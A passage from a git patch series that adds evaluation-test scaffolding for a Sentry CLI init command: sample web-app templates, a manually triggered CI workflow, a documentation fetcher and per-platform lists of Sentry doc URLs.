"^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@types/node": "^22", + "@types/react": "^19", + "@types/react-dom": "^19", + "typescript": "^5" + } +} diff --git a/test/init-eval/templates/nextjs-app/src/app/layout.tsx b/test/init-eval/templates/nextjs-app/src/app/layout.tsx new file mode 100644 index 00000000..588e8851 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/src/app/layout.tsx @@ -0,0 +1,16 @@ +export const metadata = { + title: "Test App", + description: "A test Next.js app", +}; + +export default function RootLayout({ + children, +}: { + children: React.ReactNode; +}) { + return ( + + {children} + + ); +} diff --git a/test/init-eval/templates/nextjs-app/src/app/page.tsx b/test/init-eval/templates/nextjs-app/src/app/page.tsx new file mode 100644 index 00000000..aa58cf37 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/src/app/page.tsx @@ -0,0 +1,3 @@ +export default function Home() { + return

Hello World

; +} diff --git a/test/init-eval/templates/nextjs-app/tsconfig.json b/test/init-eval/templates/nextjs-app/tsconfig.json new file mode 100644 index 00000000..fba2bf37 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2017", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "strict": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "preserve", + "incremental": true, + "plugins": [{ "name": "next" }], + "paths": { "@/*": ["./src/*"] } + }, + "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/test/init-eval/templates/python-flask-app/.gitignore b/test/init-eval/templates/python-flask-app/.gitignore new file mode 100644 index 00000000..65776d12 --- /dev/null +++ b/test/init-eval/templates/python-flask-app/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.py[cod] +.venv/ +venv/ diff --git a/test/init-eval/templates/python-flask-app/app.py b/test/init-eval/templates/python-flask-app/app.py new file mode 100644 index 00000000..cfa9e477 --- /dev/null +++ b/test/init-eval/templates/python-flask-app/app.py @@ -0,0 +1,12 @@ +from flask import Flask + +app = Flask(__name__) + + +@app.route("/") +def hello(): + return {"message": "Hello World"} + + +if __name__ == "__main__": + app.run(debug=True) diff --git a/test/init-eval/templates/python-flask-app/requirements.txt b/test/init-eval/templates/python-flask-app/requirements.txt new file mode 100644 index 00000000..001e7c4a --- /dev/null +++ b/test/init-eval/templates/python-flask-app/requirements.txt @@ -0,0 +1 @@ +flask>=3.0 diff --git a/test/init-eval/templates/react-vite-app/.gitignore b/test/init-eval/templates/react-vite-app/.gitignore new file mode 100644 index 00000000..b9470778 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +dist/ diff --git a/test/init-eval/templates/react-vite-app/index.html b/test/init-eval/templates/react-vite-app/index.html new file mode 100644 index 00000000..71e5e784 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/index.html @@ -0,0 +1,12 @@ + + + + + + React App + + +
+ + + diff --git a/test/init-eval/templates/react-vite-app/package.json b/test/init-eval/templates/react-vite-app/package.json new file mode 100644 index 00000000..669dc475 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/package.json @@ -0,0 +1,22 @@ +{ + "name": "react-vite-app", + "version": "0.1.0", + "private": true, + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview" + }, + "dependencies": { + "react": "^19.0.0", + "react-dom": "^19.0.0" + }, + "devDependencies": { + "@types/react": "^19", + "@types/react-dom": "^19", + "@vitejs/plugin-react": "^4.3.0", + "typescript": "^5", + "vite": "^6.0.0" + } +} diff --git a/test/init-eval/templates/react-vite-app/src/app.tsx b/test/init-eval/templates/react-vite-app/src/app.tsx new file mode 100644 index 00000000..be4a1202 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/src/app.tsx @@ -0,0 +1,5 @@ +function App() { + return

Hello World

; +} + +export default App; diff --git a/test/init-eval/templates/react-vite-app/src/main.tsx b/test/init-eval/templates/react-vite-app/src/main.tsx new file mode 100644 index 00000000..74ab28da --- /dev/null +++ b/test/init-eval/templates/react-vite-app/src/main.tsx @@ -0,0 +1,9 @@ +import React from "react"; +import ReactDOM from "react-dom/client"; +import App from "./app"; + +ReactDOM.createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/test/init-eval/templates/react-vite-app/tsconfig.json b/test/init-eval/templates/react-vite-app/tsconfig.json new file mode 100644 index 00000000..9e82e3ff --- /dev/null +++ b/test/init-eval/templates/react-vite-app/tsconfig.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "ES2020", + "useDefineForClassFields": true, + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true + }, + "include": ["src"] +} diff --git a/test/init-eval/templates/react-vite-app/vite.config.ts b/test/init-eval/templates/react-vite-app/vite.config.ts new file mode 100644 index 00000000..58676f78 --- /dev/null +++ b/test/init-eval/templates/react-vite-app/vite.config.ts @@ -0,0 +1,6 @@ +import react from "@vitejs/plugin-react"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [react()], +}); diff --git a/test/init-eval/templates/sveltekit-app/.gitignore b/test/init-eval/templates/sveltekit-app/.gitignore new file mode 100644 index 00000000..31fda85b --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +.svelte-kit/ +build/ diff --git a/test/init-eval/templates/sveltekit-app/package.json b/test/init-eval/templates/sveltekit-app/package.json new file mode 100644 index 00000000..77ae4f30 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/package.json @@ -0,0 +1,18 @@ +{ + "name": "sveltekit-app", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "vite dev", + "build": "vite build", + "preview": "vite preview" + }, + "devDependencies": { + "@sveltejs/adapter-auto": "^4.0.0", + "@sveltejs/kit": "^2.16.0", + "@sveltejs/vite-plugin-svelte": "^5.0.0", + "svelte": "^5.0.0", + "typescript": "^5", + "vite": "^6.0.0" + } +} diff --git a/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte b/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte new file mode 100644 index 00000000..f3e333e8 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/src/routes/+page.svelte @@ -0,0 +1 @@ +

Hello World

diff --git a/test/init-eval/templates/sveltekit-app/svelte.config.js b/test/init-eval/templates/sveltekit-app/svelte.config.js new file mode 100644 index 00000000..3fc56b9c --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/svelte.config.js @@ -0,0 +1,12 @@ +import adapter from "@sveltejs/adapter-auto"; +import { vitePreprocess } from "@sveltejs/vite-plugin-svelte"; + +/** @type {import('@sveltejs/kit').Config} */ +const config = { + preprocess: vitePreprocess(), + kit: { + adapter: adapter(), + }, +}; + +export default config; diff --git a/test/init-eval/templates/sveltekit-app/tsconfig.json b/test/init-eval/templates/sveltekit-app/tsconfig.json new file mode 100644 index 00000000..43447105 --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/tsconfig.json @@ -0,0 +1,14 @@ +{ + "extends": "./.svelte-kit/tsconfig.json", + "compilerOptions": { + "allowJs": true, + "checkJs": true, + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "sourceMap": true, + "strict": true, + "moduleResolution": "bundler" + } +} diff --git a/test/init-eval/templates/sveltekit-app/vite.config.ts b/test/init-eval/templates/sveltekit-app/vite.config.ts new file mode 100644 index 00000000..80864b9d --- /dev/null +++ b/test/init-eval/templates/sveltekit-app/vite.config.ts @@ -0,0 +1,6 @@ +import { sveltekit } from "@sveltejs/kit/vite"; +import { defineConfig } from "vite"; + +export default defineConfig({ + plugins: [sveltekit()], +}); From 476bcbc2169c043c71e4b89a08b7b9e25b29873d Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:43 +0100 Subject: [PATCH 13/34] ci: add workflow_dispatch CI job for init-eval tests Add a separate workflow for running init-eval tests on demand. Supports running a single platform or all platforms via matrix. Uses the init-eval GitHub environment for MASTRA_API_URL and OPENAI_API_KEY secrets. Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 47 +++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 .github/workflows/init-eval.yml diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml new file mode 100644 index 00000000..f3e02e85 --- /dev/null +++ b/.github/workflows/init-eval.yml @@ -0,0 +1,47 @@ +name: Init Eval + +on: + workflow_dispatch: + inputs: + platform: + description: "Platform to evaluate (or 'all')" + required: true + default: all + type: choice + options: + - all + - express + - nextjs + - python-flask + - react-vite + - sveltekit + +jobs: + eval: + name: Eval ${{ matrix.platform }} + runs-on: ubuntu-latest + environment: init-eval + strategy: + fail-fast: false + matrix: + platform: ${{ inputs.platform == 'all' + && fromJson('["express","nextjs","python-flask","react-vite","sveltekit"]') + || fromJson(format('["{0}"]', inputs.platform)) }} + steps: + - uses: actions/checkout@v4 + - uses: oven-sh/setup-bun@v2 + - uses: actions/setup-python@v5 + with: + python-version: "3.12" + - uses: actions/cache@v4 + id: cache + with: + path: node_modules + key: node-modules-${{ hashFiles('bun.lock', 'patches/**') }} + - if: steps.cache.outputs.cache-hit != 'true' + run: bun install --frozen-lockfile + - name: Run eval + env: + MASTRA_API_URL: ${{ secrets.MASTRA_API_URL }} + OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} + run: bun test ./test/init-eval/${{ matrix.platform }}.eval.test.ts --timeout 600000 From 193a467b8a2857fc96cef3e1d7c1233fa797fe3f Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 19:15:37 +0100 Subject: [PATCH 14/34] fix(init): use .md URL conversion in eval docs-fetcher Store python-fastapi doc URLs as base paths (with trailing slash) like other platforms, and convert to .md at fetch time. This mirrors the pattern in cli-init-api and lets us return clean markdown directly instead of stripping HTML tags. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 8 +++++++ test/init-eval/helpers/docs-fetcher.ts | 30 +++++++++----------------- 2 files changed, 18 insertions(+), 20 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 87f94496..d2fb118b 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -41,6 +41,14 @@ "profiling": [] }, + "python-fastapi": { + "getting-started": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "tracing": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"] + }, + "sveltekit": { "getting-started": [], "errors": [], diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts index 4fb9936d..e4fe2325 100644 --- a/test/init-eval/helpers/docs-fetcher.ts +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -1,3 +1,7 @@ +function toMarkdownUrl(docsUrl: string): string { + return docsUrl.replace(/\/+$/, "") + ".md"; +} + /** * Fetch Sentry documentation pages and extract plain text for use as * ground-truth reference material in LLM judge prompts. @@ -27,34 +31,20 @@ export async function fetchDocsContent(urls: string[]): Promise { } async function fetchOne(url: string, charLimit: number): Promise { + const mdUrl = toMarkdownUrl(url); try { - const res = await fetch(url, { + const res = await fetch(mdUrl, { headers: { "User-Agent": "sentry-init-eval/1.0" }, }); if (!res.ok) { - return `(failed to fetch ${url}: ${res.status})`; + return `(failed to fetch ${mdUrl}: ${res.status})`; } - const html = await res.text(); - - // Strip HTML tags, collapse whitespace - const text = html - .replace(//gi, "") - .replace(//gi, "") - .replace(/<[^>]+>/g, " ") - .replace(/ /g, " ") - .replace(/&/g, "&") - .replace(/</g, "<") - .replace(/>/g, ">") - .replace(/"/g, '"') - .replace(/'/g, "'") - .replace(/\s+/g, " ") - .trim(); - - return text.slice(0, charLimit); + const text = await res.text(); + return text.trim().slice(0, charLimit); } catch (err) { const msg = err instanceof Error ? err.message : String(err); - return `(failed to fetch ${url}: ${msg})`; + return `(failed to fetch ${mdUrl}: ${msg})`; } } From bcb10f285d890b2913621a0652345a5791a45f5d Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 20:02:21 +0100 Subject: [PATCH 15/34] feat(init): add flask and python profiling doc URLs Add Sentry doc URLs for python-flask (getting-started, errors, tracing, logs, profiling) and add the shared python/profiling page to both flask and fastapi profiling entries. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index d2fb118b..7eda00c0 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -33,12 +33,12 @@ }, "python-flask": { - "getting-started": [], - "errors": [], - "tracing": [], - "logs": [], + "getting-started": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "errors": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "tracing": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "logs": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "metrics": [], - "profiling": [] + "profiling": ["https://docs.sentry.io/platforms/python/integrations/flask/", "https://docs.sentry.io/platforms/python/profiling/"] }, "python-fastapi": { @@ -46,7 +46,7 @@ "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], "tracing": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], - "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"] + "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/", "https://docs.sentry.io/platforms/python/profiling/"] }, "sveltekit": { From 129e7b75bc7a6fde47bf5fb1a749d31147a9a9d1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 20:54:08 +0100 Subject: [PATCH 16/34] feat(init): add nextjs doc URLs for eval ground truth Add Sentry doc URLs for all nextjs features: getting-started, errors, logs, tracing, session replay, metrics, and profiling (browser + node). Sourcemaps left empty for now. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 7eda00c0..080a2c76 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -13,14 +13,14 @@ ], "nextjs": { - "getting-started": [], - "errors": [], - "logs": [], - "tracing": [], - "replay": [], - "metrics": [], + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/logs/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/"], + "replay": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/"], "sourcemaps": [], - "profiling": [] + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/"] }, "express": { From b6c10b79343821dff491e8d844fed82987b25053 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 20:58:28 +0100 Subject: [PATCH 17/34] feat(init): add sveltekit doc URLs for eval ground truth Add Sentry doc URLs for sveltekit features and add missing logs, metrics, and profiling features to the platform entry. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 080a2c76..e649e214 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -50,11 +50,14 @@ }, "sveltekit": { - "getting-started": [], - "errors": [], + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/"], "sourcemaps": [], - "replay": [], - "tracing": [] + "replay": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/logs/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/metrics/"], + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/profiling/"] }, "react-vite": { From a8156c0b5a7c146758ba3ceaf0ccf94a38eb591a Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 21:01:08 +0100 Subject: [PATCH 18/34] feat(init): add react-vite doc URLs for eval ground truth Add Sentry doc URLs for react-vite features and add missing logs, metrics, and profiling features to the platform entry. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index e649e214..16855def 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -61,10 +61,13 @@ }, "react-vite": { - "getting-started": [], - "errors": [], + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/react/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/react/", "https://docs.sentry.io/platforms/javascript/guides/react/usage/"], "sourcemaps": [], - "replay": [], - "tracing": [] + "replay": ["https://docs.sentry.io/platforms/javascript/guides/react/session-replay/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/react/tracing/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/react/logs/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/react/metrics/"], + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/react/profiling/"] } } From 1d29ebdd17fa82d5a8cfa2837f1f25adf2b76e3e Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:07:52 +0100 Subject: [PATCH 19/34] fix(init): use venv for flask build check and remove opencode-lore dep Flask eval was using bare `pip install` which fails when pip isn't on PATH. Use the same venv pattern as fastapi. Also remove accidental opencode-lore runtime dependency. Co-Authored-By: Claude Opus 4.6 --- package.json | 3 --- test/init-eval/helpers/platforms.ts | 16 ++++++++++++++-- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/package.json b/package.json index 555ce054..3ebecbce 100644 --- a/package.json +++ b/package.json @@ -67,8 +67,5 @@ "packageManager": "bun@1.3.9", "patchedDependencies": { "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch" - }, - "dependencies": { - "opencode-lore": "^0.1.0" } } diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts index 402e2c53..471caf61 100644 --- a/test/init-eval/helpers/platforms.ts +++ b/test/init-eval/helpers/platforms.ts @@ -91,8 +91,20 @@ export const PLATFORMS: Platform[] = [ sdkPackage: "sentry-sdk", depFile: "requirements.txt", docs: getDocs("python-flask"), - installCmd: "pip install -r requirements.txt", - buildCmd: "python -m compileall -q .", + installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + buildCmd: ".venv/bin/python -m compileall -q .", + initPattern: /sentry_sdk\.init/, + timeout: 300_000, + }, + { + id: "python-fastapi", + name: "FastAPI", + templateDir: join(TEMPLATES_DIR, "python-fastapi-app"), + sdkPackage: "sentry-sdk", + depFile: "requirements.txt", + docs: getDocs("python-fastapi"), + installCmd: "python -m venv .venv && .venv/bin/pip install -r requirements.txt", + buildCmd: ".venv/bin/python -m compileall -q .", initPattern: /sentry_sdk\.init/, timeout: 300_000, }, From ce9614f80515270c32e2ea036603442be7e701ab Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:12:49 +0100 Subject: [PATCH 20/34] feat(init): add python-fastapi eval test and gitignore package-lock Co-Authored-By: Claude Opus 4.6 --- .github/workflows/init-eval.yml | 3 ++- .gitignore | 1 + test/init-eval/python-fastapi.eval.test.ts | 3 +++ test/init-eval/templates/python-fastapi-app/.gitignore | 4 ++++ test/init-eval/templates/python-fastapi-app/main.py | 8 ++++++++ .../templates/python-fastapi-app/requirements.txt | 2 ++ 6 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 test/init-eval/python-fastapi.eval.test.ts create mode 100644 test/init-eval/templates/python-fastapi-app/.gitignore create mode 100644 test/init-eval/templates/python-fastapi-app/main.py create mode 100644 test/init-eval/templates/python-fastapi-app/requirements.txt diff --git a/.github/workflows/init-eval.yml b/.github/workflows/init-eval.yml index f3e02e85..d6b23e51 100644 --- a/.github/workflows/init-eval.yml +++ b/.github/workflows/init-eval.yml @@ -12,6 +12,7 @@ on: - all - express - nextjs + - python-fastapi - python-flask - react-vite - sveltekit @@ -25,7 +26,7 @@ jobs: fail-fast: false matrix: platform: ${{ inputs.platform == 'all' - && fromJson('["express","nextjs","python-flask","react-vite","sveltekit"]') + && fromJson('["express","nextjs","python-fastapi","python-flask","react-vite","sveltekit"]') || fromJson(format('["{0}"]', inputs.platform)) }} steps: - uses: actions/checkout@v4 diff --git a/.gitignore b/.gitignore index 9e4b370a..6649b97d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # dependencies (bun install) node_modules +package-lock.json # output out diff --git a/test/init-eval/python-fastapi.eval.test.ts b/test/init-eval/python-fastapi.eval.test.ts new file mode 100644 index 00000000..8849f8ff --- /dev/null +++ b/test/init-eval/python-fastapi.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("python-fastapi"); diff --git a/test/init-eval/templates/python-fastapi-app/.gitignore b/test/init-eval/templates/python-fastapi-app/.gitignore new file mode 100644 index 00000000..65776d12 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/.gitignore @@ -0,0 +1,4 @@ +__pycache__/ +*.py[cod] +.venv/ +venv/ diff --git a/test/init-eval/templates/python-fastapi-app/main.py b/test/init-eval/templates/python-fastapi-app/main.py new file mode 100644 index 00000000..469a6503 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/main.py @@ -0,0 +1,8 @@ +from fastapi import FastAPI + +app = FastAPI() + + +@app.get("/") +def hello(): + return {"message": "Hello World"} diff --git a/test/init-eval/templates/python-fastapi-app/requirements.txt b/test/init-eval/templates/python-fastapi-app/requirements.txt new file mode 100644 index 00000000..c5573034 --- /dev/null +++ b/test/init-eval/templates/python-fastapi-app/requirements.txt @@ -0,0 +1,2 @@ +fastapi>=0.115.0 +uvicorn>=0.34.0 From 3227619ed50b4fb8a91b0e686ef198c5c8319ced Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 22:14:01 +0100 Subject: [PATCH 21/34] style(init): fix lint formatting in eval test files Co-Authored-By: Claude Opus 4.6 --- test/init-eval/feature-docs.json | 132 +++++++++++++++++++------ test/init-eval/helpers/docs-fetcher.ts | 2 +- test/init-eval/helpers/platforms.ts | 6 +- 3 files changed, 107 insertions(+), 33 deletions(-) diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json index 16855def..f987f4c0 100644 --- a/test/init-eval/feature-docs.json +++ b/test/init-eval/feature-docs.json @@ -13,61 +13,133 @@ ], "nextjs": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/"], + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/manual-setup/pages-router/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/capturing-errors/" + ], "logs": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/logs/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/"], - "replay": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/"], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/tracing/" + ], + "replay": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/session-replay/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/metrics/" + ], "sourcemaps": [], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/"] + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/browser/", + "https://docs.sentry.io/platforms/javascript/guides/nextjs/profiling/node/" + ] }, "express": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/express/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/express/usage/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/express/tracing/"], - "logs": ["https://docs.sentry.io/platforms/javascript/guides/express/logs/"], - "metrics": ["https://docs.sentry.io/platforms/javascript/guides/express/metrics/"], - "profiling": ["https://docs.sentry.io/platforms/javascript/guides/express/profiling/"] + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/express/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/express/usage/" + ], + "tracing": [ + "https://docs.sentry.io/platforms/javascript/guides/express/tracing/" + ], + "logs": [ + "https://docs.sentry.io/platforms/javascript/guides/express/logs/" + ], + "metrics": [ + "https://docs.sentry.io/platforms/javascript/guides/express/metrics/" + ], + "profiling": [ + "https://docs.sentry.io/platforms/javascript/guides/express/profiling/" + ] }, "python-flask": { - "getting-started": ["https://docs.sentry.io/platforms/python/integrations/flask/"], + "getting-started": [ + "https://docs.sentry.io/platforms/python/integrations/flask/" + ], "errors": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "tracing": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "logs": ["https://docs.sentry.io/platforms/python/integrations/flask/"], "metrics": [], - "profiling": ["https://docs.sentry.io/platforms/python/integrations/flask/", "https://docs.sentry.io/platforms/python/profiling/"] + "profiling": [ + "https://docs.sentry.io/platforms/python/integrations/flask/", + "https://docs.sentry.io/platforms/python/profiling/" + ] }, "python-fastapi": { - "getting-started": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "getting-started": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/" + ], "errors": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], - "tracing": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], + "tracing": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/" + ], "logs": ["https://docs.sentry.io/platforms/python/integrations/fastapi/"], - "profiling": ["https://docs.sentry.io/platforms/python/integrations/fastapi/", "https://docs.sentry.io/platforms/python/profiling/"] + "profiling": [ + "https://docs.sentry.io/platforms/python/integrations/fastapi/", + "https://docs.sentry.io/platforms/python/profiling/" + ] }, "sveltekit": { - "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/"], - "errors": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/"], + "getting-started": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/" + ], + "errors": [ + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/manual-setup/", + "https://docs.sentry.io/platforms/javascript/guides/sveltekit/usage/" + ], "sourcemaps": [], - "replay": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/session-replay/"], - "tracing": ["https://docs.sentry.io/platforms/javascript/guides/sveltekit/tracing/"], - "logs": 